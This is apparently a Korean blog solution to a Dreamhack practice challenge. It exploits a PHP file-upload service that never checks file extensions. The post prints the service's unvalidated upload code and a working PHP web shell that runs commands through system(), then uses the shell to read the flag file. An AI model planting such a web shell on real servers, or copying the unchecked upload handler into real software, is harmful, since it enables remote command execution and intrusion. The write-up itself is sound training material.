Web Hacking/Dreamhack 풀이

image-storage

박연준 2023. 6. 25. 17:38

image-storage

문제 정보

  • php로 작성된 파일 저장 서비스입니다.
  • 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.

 

풀이

제일 처음 접속 화면이다.

Upload 페이지이다. 파일을 선택해서 Upload할 수 있다.

그래서 아무거나 한 번 올려보았다.

다음과 같이 List 페이지에 잘 저장된다.

문제를 한 번 살펴보자

upload.php

밑에 있는 코드를 살펴보면 파일을 올릴 때 파일 이름은 걸러주지만 파일의 확장자는 검사하지 않는 것을 확인할 수 있다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

list.php

밑의 코드를 살펴보면 .. . index.html 을 빼고 보여주는 것을 알 수 있다.

<?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?>

그럼 확장자를 검사하지 않으니까 php 웹셸을 올려보자.

웹셸을 잘 알지 못하기 때문에 먼저 dreamhack에서 제공해주는 웹셸코드를 사용했다.

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

다음처럼 웹셸을 업로드하고 클릭해보았다.

시스템 명령어를 실행할 수 있는 창이 나오고 다음과 같이 ls 명령어를 입력했을 때 index.html도 같이 보이는 것을 확인할 수 있다.

우리의 목표는 flag.txt를 찾아야 하기 때문에 command-injection 방법을 써서 .. 부터 시작해서 모든 파일을 다 들어가본 결과 flag.txt는 ../../../..에 있었다. 그러면 저 파일을 cat 명령어로 보면 flag 값이 나온다.

다음과 같이 flag값이 잘 출력되는 것을 확인할 수 있다.

'Web Hacking > Dreamhack 풀이' 카테고리의 다른 글

CSRF Advanced  (0) 2023.06.26
file-download-1  (0) 2023.06.25
command-injection-chatgpt  (0) 2023.06.25
command-injection-1  (0) 2023.06.25
simple_sqli  (0) 2023.06.25